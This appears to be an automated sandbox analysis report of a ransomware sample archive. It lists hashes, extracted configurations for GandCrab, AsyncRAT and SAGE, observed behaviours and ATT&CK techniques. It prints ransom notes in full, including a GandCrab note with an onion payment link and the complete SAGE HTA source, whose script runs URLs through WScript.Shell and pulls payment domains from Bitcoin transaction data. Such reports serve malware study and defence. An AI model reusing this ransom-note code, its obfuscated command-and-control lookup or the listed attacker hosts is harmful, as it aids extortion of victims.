General
-
Target
RNSM00373.7z
-
Size
13.6MB
-
Sample
241105-1t3ztazalf
-
MD5
872d72e65626aff68736f6b27af01cf5
-
SHA1
b03a6e32b7364391994ca40214bf6d32f31e3ba0
-
SHA256
0d23eb8b87c8191ffc5e16dd215aaba5802f604c321d487512100ab7c92afe82
-
SHA512
086b953dd9e5d6e2bc32ae208301c8af0c939d14fba7515d61e6cc5bfbf9b5cbfc6e26747d302866def448abc56710baac0c3ef8d1d2fce508baa720482376f1
-
SSDEEP
393216:9vRWRV8Gfd+rFrws5+TTflrtvcBwipTmK:Wfvfwhrws5+X30x
Score
10/10
Malware Config
Extracted
Path
C:\$Recycle.Bin\KRAB-DECRYPT.txt
Ransom Note
---= GANDCRAB V4 =---
Attention!
All your files, documents, photos, databases and other important files are encrypted and have the extension: .KRAB
The only method of recovering files is to purchase an unique private key. Only we can give you this key and only we can recover your files.
The server with your key is in a closed network TOR. You can get there by the following ways:
----------------------------------------------------------------------------------------
| 0. Download Tor browser - https://www.torproject.org/
| 1. Install Tor browser
| 2. Open Tor Browser
| 3. Open link in TOR browser: http://gandcrabmfe6mnef.onion/ac96be57422f74a1
| 4. Follow the instructions on this page
----------------------------------------------------------------------------------------
On our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.
ATTENTION!
IN ORDER TO PREVENT DATA DAMAGE:
* DO NOT MODIFY ENCRYPTED FILES
* DO NOT CHANGE DATA BELOW
---BEGIN GANDCRAB KEY---
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
---END GANDCRAB KEY---
---BEGIN PC DATA---
wfKD6iudumBkmpL8IRr4U4exEVaoOXLtwDwmOrT1y1YWvOiWMx5GYaRdvZZQTptRpHYc7mtWq7fZTGqHhh5qBJzzs9MC7736UkGSDDniUJJG8/LFF//kmGmoAZAGLo2j5/wd2UrxMJK+iqKhTkS3ArgAxrZOOOiXrbnhbWMkLHQnbYuWlMClYZxYU6SDxpopRo5r292AV1KIZBZV4APBuUHcKSIr2MWMI0O1MKIP2IpKLE2TS5wNmoQoAHZIP7k/TfrG1tVzlDb3jcZAB3gql9dnWN0lCD4xdg7bDNQrvH1xSi3FCw+6kfktKtizqdynr7r154JiurEmkUXBseL3/282F+t0Go5YaVqEBiPtrxHUEY8bpicW4oi4Oqb3Y5NyPYz32XaispQRTRkqF1PXJPcJ15EHwNAoARPLnK8+Au5ZALyfhGEwg6hrKQ3vxBFKwg70Zi7pARFM3v3LM+ar1wUZN3QXRlOKYDmn1lvgAn90mSDf7SyGQSZnn7Ivlsuw7HIKVYbpfzf2fBccdMBnP2lNhH9eQ3fC3KZBEubtL0iuBZ9MNJGhHpcOeb/HRc8P54k7V/HuibORzJL9NXYEh80z4uxeRbttC/+YbnzW5+JOXs5ePtQv9FxhOVLL2u9gwWmeLQ4zxgtafmr5TWEPiWMEkrI=
---END PC DATA---
URLs
http://gandcrabmfe6mnef.onion/ac96be57422f74a1
Extracted
Family
asyncrat
Version
0.5.3
Mutex
1990
Attributes
-
delay
0
-
install
true
-
install_file
MozillaUpdate.exe
-
install_folder
%AppData%
-
pastebin_config
https://pastebin.com/raw/hSbwYxQ2
aes.plain
Extracted
Path
C:\Users\Default\Saved Games\!HELP_SOS.hta
Ransom Note
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Decryption Instructions</title>
<HTA:APPLICATION ID='App' APPLICATIONNAME="Decryption Instructions" SCROLL="yes" SINGLEINSTANCE="yes" WINDOWSTATE="maximize">
<style>
a {
color: #04a;
text-decoration: none;
}
a:hover {
text-decoration: underline;
}
body {
background-color: #e7e7e7;
color: #222;
font-family: "Lucida Sans Unicode", "Lucida Grande", sans-serif;
font-size: 12pt;
line-height: 16pt;
}
body, h1 {
margin: 0;
padding: 0;
}
h1 {
color: #555;
text-align: center;
padding-bottom: 1.5em;
}
h2 {
color: #555;
text-align: center;
}
ol li {
padding-bottom: 13pt;
}
.container {
background-color: #EEE;
border: 2pt solid #C7C7C7;
margin: 3%;
min-width: 600px;
padding: 5% 10%;
color: #444;
}
.filecontainer{
padding: 5% 10%;
display: none;
}
.header {
border-bottom: 2pt solid #c7c7c7;
padding-bottom: 5%;
}
.hr {
background: #bda;
display: block;
height: 2pt;
margin-top: 1.5%;
margin-bottom: 1.5%;
overflow: hidden;
width: 100%;
}
.key{
background-color: #A1D490;
border: 1px solid #506A48;
display: block;
text-align: center;
margin: 0.5em 0;
padding: 1em 1.5em;
word-wrap: break-word;
}
.keys{
margin: 3em 0;
}
.filename{
border: 3px solid #AAA;
display: block;
text-align: center;
margin: 0.5em 0em;
padding: 1em 1.5em;
background-color: #DCC;
}
.us{
text-decoration: strong;
color: #333;
}
.info{
background-color: #E4E4E4;
padding: 0.5em 3em;
margin: 1em 0;
}
.text{
text-align: justify;
}
#file{
background-color: #FCC;
}
.lsb{
display: none;
margin: 3%;
text-align: center;
}
.ls{
border: 1px solid #888;
border-radius: 3px;
padding: 0 0.5em;
margin: 1em 0.1em;
line-height: 2em;
display: inline-block;
}
.ls:hover{
background-color: #D0D0D0;
}
.l{
display:none;
}
.lu{
display:none;
}
</style>
<script language="vbscript">
Function GetCmd
GetCmd = App.commandLine
End Function
</script>
<script language="javascript">
function openlink(url){
new ActiveXObject("WScript.Shell").Run(url);
return false;
}
function aIndexOf(arr, v){
for(var i = 0; i < arr.length; i++) if(arr[i] == v) return i;
return -1;
}
function tweakClass(cl, f){
var els;
if(document.getElementByClassName != null){
els = document.getElementsByClassName(cl);
}
else{
els = [];
var tmp = document.getElementsByTagName('*');
for (var i = 0; i < tmp.length; i++){
var c = tmp[i].className;
if( (c == cl) || ((c.indexOf(cl) != 1) && ((' '+c+' ').indexOf(' '+cl+' ') != -1)) ) els.push(tmp[i]);
}
}
for(var i = 0; i < els.length; i++) f(els[i]);
}
function show(el){ el.style.display = 'block'; }
function hide(el){ el.style.display = 'none'; }
var langs = ["en","de","it","pt","es","fr","kr","nl","ar","fa","zh"];
function setLang(lang){
if(aIndexOf(langs, lang) == -1) lang = langs[0];
for(var i = 0; i < langs.length; i++){
var clang = langs[i];
tweakClass('l-'+clang, function(el){ el.style.display = (clang == lang) ? 'block' : 'none'; });
tweakClass('ls-'+clang, function(el){ el.style.backgroundColor = (clang == lang) ? '#BBB' : ''; });
}
}
function newXHR() {
if (window.XMLHttpRequest) return new window.XMLHttpRequest;
try {
return new ActiveXObject("MSXML2.XMLHTTP.3.0");
}
catch(error) {
return null;
}
}
function getPage(url, cb) {
try{
var xhr = newXHR();
if(!xhr) return cb('no xhr');
xhr.onreadystatechange = function() {
if(xhr.readyState != 4) return;
if(xhr.status != 200 || !xhr.responseText) return cb(xhr.status)
cb(null, xhr.responseText);
};
xhr.open("GET", url+((url.indexOf('?') == -1) ? "?" : "&") + "_=" + new Date().getTime(), true);
xhr.send();
}
catch(e){
cb(e);
}
}
function decodeTxString(hex){
var m = '0123456789abcdef';
var s = '';
var c = 0xAA;
hex = hex.toLowerCase();
for(var i = 0; i < hex.length; i+=2){
var a = m.indexOf(hex.charAt(i));
var b = m.indexOf(hex.charAt(i+1));
if(a == -1 || b == -1) throw hex[i]+hex[i+1]+' '+a+' '+b;
s+= String.fromCharCode(c = (c ^ ((a << 4) | b)));
}
return s;
}
var OR = 'OP_RE'+'TURN ';
var sources = [
{bp:'btc.b'+'lockr.i'+'o/api/v1/', txp:'tx/i'+'nfo/', adp:'add'+'ress/txs/',
ptxs: function(json){
if(json.status != 'success') return null;
var res = [];
for(var i = 0; i < json.data.txs.length - 1; i++) res.push(json.data.txs[i].tx);
return res;
},
ptx: function(json){
if(json.status != 'success') return null;
var os = json.data.vouts;
for(var i = 0; i < os.length; i++) if(os[i].extras.asm.indexOf(OR) == 0) return decodeTxString(os[i].extras.asm.substr(10));
return null;
}
},
{bp:'ch'+'ain.s'+'o/api/v2/', txp:'get_t'+'x_out'+'puts/btc/', adp:'get_tx_uns'+'pent/btc/',
ptxs: function(json){
if(json.status != 'success') return null;
var res = [];
for(var i = json.data.txs.length - 1; i >= 0; i--) res.push(json.data.txs[i].txid);
return res;
},
ptx: function(json){
if(json.status != 'success') return null;
var os = json.data.outputs;
for(var i = 0; i < os.length; i++) if(os[i].script.indexOf(OR) == 0) return decodeTxString(os[i].script.substr(10));
return null;
}
},
{bp:'bit'+'aps.co'+'m/api/', txp:'trans'+'action/', adp:'ad'+'dress/tra'+'nsactions/', adpb:'/0/sen'+'t/all',
ptxs: function(json){
var res = [];
for(var i = 0; i < json.length; i++) res.push(json[i][1]);
return res;
},
ptx: function(json){
var os = json.output;
for(var i = 0; i < os.length; i++) if(os[i].script.asm.indexOf(OR) == 0) return decodeTxString(os[i].script.asm.substr(10));
return null;
}
},
{bp:'api.b'+'lockcyp'+'her.com/v1/b'+'tc/main/', txp:'txs/', adp:'addrs/',
ptxs: function(json){
var res = [];
var m = {};
for(var i = 0; i < json.txrefs.length; i++){
var tx = json.txrefs[i].tx_hash;
if(m[tx]) continue;
m[tx] = 1;
res.push(tx);
}
return res;
},
ptx: function(json){
var os = json.outputs;
for(var i = 0; i < os.length; i++) if(os[i].data_hex != null) return decodeTxString(os[i].data_hex);
return null;
}
}
];
function eachUntil(a,f,c){
var i = 0;
var n = function(){
if(i >= a.length) return c('f');
f(a[i++], function(err, res){
if(err == null) return c(null, res);
n();
});
};
n();
}
function getJson(url, cb){
getPage(url, function(err, res){
if(err != null) return cb(err);
var json;
try{
if(window.JSON && window.JSON.parse){
json = window.JSON.parse(res);
}
else{
json = eval('('+res+')');
}
}
catch(e){
cb(e);
}
cb(null, json);
});
}
function getDomains(ad, cb){
eachUntil(sources, function(s, cb){
var url = 'http://'+s.bp;
url+= s.adp+ad;
if(s.adpb) url+= s.adpb;
getJson(url, function(err, json){
if(err != null) return cb(err);
try{
cb(null, s.ptxs(json));
}
catch(e){
cb(e);
}
});
}, function(err, txs){
if(err != null) return cb(err);
if(txs.length == 0) return cb('f');
eachUntil(txs, function(tx, cb){
eachUntil(sources, function(s, cb){
var url = 'http://'+s.bp+s.txp+tx;
getJson(url, function(err, json){
if(err != null) return cb(err);
try{
cb(null, s.ptx(json));
}
catch(e){
cb(e);
}
});
}, function(err, res){
if(err != null) return cb(err);
if(res == null) return cb('f');
cb(null, res.split(':'));
});
}, cb);
});
}
function updateLinks(){
tweakClass('lu', hide);
tweakClass('lu-updating', show);
getDomains('1783wBG'+'sr'+'1zkxenfE'+'ELXA25PLSkL'+'dfJ4B7', function(err, ds){
tweakClass('lu', hide);
if(err != null){
tweakClass('lu-error', show);
// tweakClass('links', function(el){ el.innerHTML = err; });
return;
}
tweakClass('lu-done', show);
var html = '';
for(var i = 0; i < ds.length; i++) html+= '<div class="key"><a href="http://7gie6ffnkrjykggd.'+ds[i]+'/login/AVrZsFD-mAWDP8qGj5QTbNSkxADRB-G3k4qNmWx_OxqA3T5a5uu-bDHA" onclick="javascript:return openlink(this.href)">http://7gie6ffnkrjykggd.'+ds[i]+'/</a></div>';
tweakClass('links', function(el){
el.innerHTML = html;
});
});
return false;
}
function onPageLoaded(){
try{
tweakClass('lsb', show);
}catch(e){}
try{
tweakClass('lu-orig', show);
}catch(e){}
try{
setLang('en');
}catch(e){}
try{
var args = GetCmd().match(/"[^"]+"|[^ ]+/g);
if(args.length > 1){
var file = args[args.length-1];
if(file.charAt(0) == '"' && file.charAt(file.length-1) == '"') file = file.substr(1, file.length-2);
document.getElementById('filename').innerHTML = file;
show(document.getElementById('file'));
document.title = 'File is encrypted';
}
}catch(e){}
}
</script>
</head>
<body onload='javascript:onPageLoaded()'>
<div class='lsb'>
<span class='ls ls-en' onclick="javascript:return setLang('en')">English</span>
<span class='ls ls-de' onclick="javascript:return setLang('de')">Deutsch</span>
<span class='ls ls-it' onclick="javascript:return setLang('it')">Italiano</span>
<span class='ls ls-pt' onclick="javascript:return setLang('pt')">Português</span>
<span class='ls ls-es' onclick="javascript:return setLang('es')">Español</span>
<span class='ls ls-fr' onclick="javascript:return setLang('fr')">Français</span>
<span class='ls ls-kr' onclick="javascript:return setLang('kr')">한국어</span>
<span class='ls ls-nl' onclick="javascript:return setLang('nl')">Nederlands</span>
<span class='ls ls-ar' onclick="javascript:return setLang('ar')">العربية</span>
<span class='ls ls-fa' onclick="javascript:return setLang('fa')">فارسی</span>
<span class='ls ls-zh' onclick="javascript:return setLang('zh')">中文</span>
</div>
<div id='file' class='container filecontainer'>
<div class='filename'>
<div style='float:left; padding:18px 0'><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADEAAABACAYAAACz4p94AAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAARCQAAEQkAGJrNK4AAAAB3RJTUUH4QEcFBoaYAOrHQAABThJREFUaN7tmlloXGUUx3/3ziRtTa2xcZ1gtaJFDFjtwSqllaKiiEilKOKDNS2UivXF+qD0QRBRUMQXN/TBBcFifahYFC0urfpghSMqaDSkdQMvojZpIk2zTMaHe776MZ17M6u9ozkwzAwz3/ed/9m+s9yABkhEUFX/+43ATcBy4FxgMdABTAB/Aj8CXwO7VfVdb10AlPy9aqGgTuYDVS3Z56XA48AtdWz1OrBdVQ82AiaoVfJATlWLIrIAeAbYWKciS975LwJ3q+pEJQ03DYRJKVDVGRFZCew0kylnqFaaAULgB+B2Vd1fru3ZKFcDAFS1JCLXA7uBMxs1S29t0fzn5kKhMBBF0WAURYgIURQ1DsIAhKaBVcAbwKk0l0JgGlgIrCkUChpF0U/VAgmrOCBvPrAEeBY4jdZQ3jRyDvCEiJxl2ne+mLowTQs5VZ0yJ95mobMaRx0A3gMGgSPAycCFwHXARQlrfKFeDjwMbG7IsT0zKorIauBtYFGFvxY9s3wZ2Kaqwyn7dgNPpkQ1t9/PwGZV3TNbxErThAOwCOhPADBtexwGNqrqrrR4bxFnBNgkIm8CrwFdCX66BNgA7KlLE2aDeVWdFpHlwPsVfMEBGAXuUtUd1YRGH6CIrLdAESZoYxC4Q1U/r8exQwMQAFdb+CuP7U6LO6oF4MK0d+47ZlpJfJ0HXFsm3OpB2HsPsCZBUtgF9VSZo85KFq7zqnrUTOq3ChYyA3QCq7x1NYFwZnYKsKJCFOqwz59YJKo5VTAmAQ4CuxKiHUCviCyryZzMhIqeOnsSDh8B9qnqTJqU0kKyAT8MfJwiyB5gWa0+ETjGgPOBeQkSGgG+rPdmM99wfjUEHEoA0Q0srRmEaSRv+VFHAogx84lGyO01ChxI+E8XcHq9aUdnhahU8uL471bszJoWVEFHbL8kHhfXCyIE5qesGXX+UW9F5mli0jSbRPMaAdGZ8vtUtSG1ykg1mXIRdzaaxVYjSU7kPmFKaAsq5DW+dBY2WAyV89GV8ntXran4tGfzW4B7K0grAI5WMIF6zAjgD2ATsDXhrPFaGwGZJhE59jrOPMraMIuBK4EzTFqlE8x7YNr6TFUP+dkwQCAiobuhRWQt8DTQl2FlfAtsVdW9DoyviUeA7U1owbSSfL4eU9UHjlVRInI/8FDGATizcvytLhQKQRRFewMRuQJ4y+y/Xcg13IaA/tBCWxftRe5+uwC4NQTWzpabZFgbAFeF1qzKtSEIp40+l+QFtC91hvwHaA7E/xlEKesgZrz6u19VA/eytH64FUGkmSCKtt8XwKWq+opL0GxE8AKwknh6mkkQ03bXRMTT0F9d7m/pfdGy5SHgPtclyRoIZyLfAR95APC6If4A5sOsgfB7UQe88jbJoceI+6+ZdeyOKrWWzxqIwJN+H/F8rlJDzR8XrMiyT1wM3OnX7V797oBeQzxYbF6lJCLTTcpi3fhrBNiiqjsrNCBuIx5Ozs+qT+SJW5vdxHPoS3yHlrjH8nyzAbTCsZ1ZjfPPoMa/DMdpAc0lgHMg2gREqcxPSrSoHdoqx+4Ceu3Sc4x3c/wkNpMgclZT9AIPisjZFl57gUeZZeKThcuuvDhyAppsFfOt9gl/385/w7FLtDmFwF9ebdxO5IQ/HBIPLabaGMT+kLitP9GGAELi4ecHIfAqyc9VZJWc+SvwUi6KorFCofANsA44qQ0AuEfrfgHuUdWB0IqWT4Ebml3At4hywPfAelXd5y47sIfY7XbdQNytuwxYkCHmR4GvgOfcM4fGL38Dzdjo/H/3PFAAAAAASUVORK5CYII=" style='padding:0 7.5px'/></div>
<div>
<h2 class='l l-en' style='display:block'>The file is encrypted but can be restored</h2>
<h2 class='l l-de' >Die Datei ist verschlüsselt, aber kann wiederhergestellt werden</h2>
<h2 class='l l-it' >Il file è crittografato, ma può essere ripristinato</h2>
<h2 class='l l-pt' >O arquivo está criptografado, mas poderá ser descriptografado</h2>
<h2 class='l l-es' >El archivo está encriptado pero puede ser restaurado</h2>
<h2 class='l l-fr' >Le fichier est crypté mais peut être restauré</h2>
<h2 class='l l-kr' >파일은 암호화되었지만 복원 할 수 있습니다</h2>
<h2 class='l l-nl' >Het bestand is versleuteld maar kan worden hersteld</h2>
<h2 class='l l-ar' > الملف مشفر لكن من الممكن إسترجاعه </h2>
<h2 class='l l-fa' >این فایل رمزگذاری شده است اما می تواند بازیابی شود</h2>
<h2 class='l l-zh' >文件已被加密，但是可以解密</h2>
<p><span id='filename'></span></p>
</div>
</div>
<h2>The file you tried to open and other important files on your computer were encrypted by "SAGE 2.2 Ransomware".</h2>
<h2>Action required to restore your files.</h2>
</div>
<div class='container'>
<div class="text l l-en" style='display:block'>
<h1>File recovery instructions</h2>
<p>You probably noticed that you can not open your files and that some software stopped working correctly.</p>
<p>This is expected. Your files content is still there, but it was encrypted by <span class='us'>"SAGE 2.2 Ransomware"</span>.</p>
<p>Your files are not lost, it is possible to revert them back to normal state by decrypting.</p>
<p>The only way you can do that is by getting <span class='us'>"SAGE Decrypter"</span> software and your personal decryption key.</p>
<div class='info'>
<p>Using any other software which claims to be able to restore your files will result in files being damaged or destroyed.</p>
</div>
<p>You can purchase <span class='us'>"SAGE Decrypter"</span> software and your decryption key at your personal page you can access by following links:</p>
<div class='keys links'>
<div class='key'>
<a href="http://7gie6ffnkrjykggd.2kzm0f.com/login/AVrZsFD-mAWDP8qGj5QTbNSkxADRB-G3k4qNmWx_OxqA3T5a5uu-bDHA" onclick='javascript:return openlink(this.href)'>http://7gie6ffnkrjykggd.2kzm0f.com/</a>
</div>
<div class='key'>
<a href="http://7gie6ffnkrjykggd.6t4u2p.net/login/AVrZsFD-mAWDP8qGj5QTbNSkxADRB-G3k4qNmWx_OxqA3T5a5uu-bDHA" onclick='javascript:return openlink(this.href)'>http://7gie6ffnkrjykggd.6t4u2p.net/</a>
</div>
</div>
<div class='info lu lu-orig'>
<p>If none of these links work for you, <a href='#' onclick='javascript:return updateLinks()'><b>click here</b></a> to update the list.</p>
</div>
<div class='info lu lu-updating'>
<p>Updating links...</p>
</div>
<div class='info lu lu-error'>
<p>Something went wrong while updating links, please wait some time and <a href='#' onclick='javascript:return updateLinks()'><b>try again</b></a> or use "Tor Browser" method below.</p>
</div>
<div class='info lu lu-done'>
<p>Links updated, if new ones still don't work, please wait some time and <a href='#' onclick='javascript:return updateLinks()'><b>try again</b></a> or use "Tor Browser" method below.</p>
</div>
<p>If you are asked for your personal key, copy it to the form on the site. This is your personal key:</p>
<div class='keys'>
<div class='key'>
AVrZsFD-mAWDP8qGj5QTbNSkxADRB-G3k4qNmWx_OxqA3T5a5uu-bDHA
</div>
</div>
<p>You will also be able to decrypt one file for free to make sure "SAGE Decrypter" software is able to recover your files</p>
<div class='info'>
<p>If none of those links work for you for a prolonged period of time or you need your files recovered as fast as possible, you can also access your personal page using "Tor Browser".</p>
<p>In order to do that you need to:</p>
<ol>
<li>open Internet Explorer or any other internet browser;</li>
<li>copy the address <a href='https://www.torproject.org/download/download-easy.html.en' onclick='javascript:return openlink(this.href)'>https://www.torproject.org/download/download-easy.html.en</a> into address bar and press "Enter";</li>
<li>once the page opens, you will be offered to download Tor Browser, download it and run the installator, follow installation instructions;</li>
<li>once instal
URLs
http://'+s.bp
http://'+s.bp+s.txp+tx
Targets
-
-
Target
RNSM00373.7z
-
Size
13.6MB
-
MD5
872d72e65626aff68736f6b27af01cf5
-
SHA1
b03a6e32b7364391994ca40214bf6d32f31e3ba0
-
SHA256
0d23eb8b87c8191ffc5e16dd215aaba5802f604c321d487512100ab7c92afe82
-
SHA512
086b953dd9e5d6e2bc32ae208301c8af0c939d14fba7515d61e6cc5bfbf9b5cbfc6e26747d302866def448abc56710baac0c3ef8d1d2fce508baa720482376f1
-
SSDEEP
393216:9vRWRV8Gfd+rFrws5+TTflrtvcBwipTmK:Wfvfwhrws5+X30x
Score10/10-
AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
-
Asyncrat family
-
Contains code to disable Windows Defender
A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.
-
Dharma
Dharma is a ransomware that uses security software installation to hide malicious activities.
-
Dharma family
-
GandCrab payload
-
Gandcrab
Gandcrab is a Trojan horse that encrypts files on a computer.
-
Gandcrab family
-
Modifies WinLogon for persistence
-
Osiris
-
Osiris family
-
Troldesh family
-
Troldesh, Shade, Encoder.858
Troldesh is a ransomware spread by malspam.
-
Clears Windows event logs
-
Contacts a large (7778) amount of remote hosts
This may indicate a network scan to discover remotely running services.
-
Creates a large amount of network flows
This may indicate a network scan to discover remotely running services.
-
Deletes shadow copies
Ransomware often targets backup files to inhibit system recovery.
-
Clears Network RDP Connection History and Configurations
Remove evidence of malicious network connections to clean up operations traces.
-
Downloads MZ/PE file
-
Checks computer location settings
Looks up country code configured in the registry, likely geofence.
-
Drops startup file
-
Executes dropped EXE
-
Loads dropped DLL
-
Reads user/profile data of web browsers
Infostealers often target stored browser data, which can include saved credentials etc.
-
Adds Run key to start application
-
Checks installed software on the system
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Drops desktop.ini file(s)
-
Enumerates connected drives
Attempts to read the root path of hard drives other than the default C: drive.
-
Indicator Removal: File Deletion
Adversaries may delete files left behind by the actions of their intrusion activity.
-
Legitimate hosting services abused for malware hosting/C2
-
Looks up external IP address via web service
Uses a legitimate IP lookup service to find the infected system's external IP.
-
Network Share Discovery
Attempt to gather information on host network.
-
Uses Tor communications
Malware can proxy its traffic through Tor for more anonymity.
-
Drops autorun.inf file
Malware can abuse Windows Autorun to spread further via attached volumes.
-
Drops file in System32 directory
-
Suspicious use of SetThreadContext
-
UPX packed file
Detects executables packed with UPX/modified UPX open source packer.
-
MITRE ATT&CK Enterprise v15
Execution
Scheduled Task/Job
1Scheduled Task
1Windows Management Instrumentation
1Persistence
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
1Winlogon Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
1Winlogon Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Direct Volume Access
1Hide Artifacts
1Hidden Files and Directories
1Indicator Removal
5Clear Network Connection History and Configurations
1Clear Windows Event Logs
1File Deletion
3Modify Registry
3Subvert Trust Controls
1SIP and Trust Provider Hijacking
1Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Discovery
Network Service Discovery
2Network Share Discovery
1Peripheral Device Discovery
2Query Registry
4Remote System Discovery
2System Information Discovery
4System Location Discovery
1System Language Discovery
1System Network Configuration Discovery
1Internet Connection Discovery
1System Time Discovery
1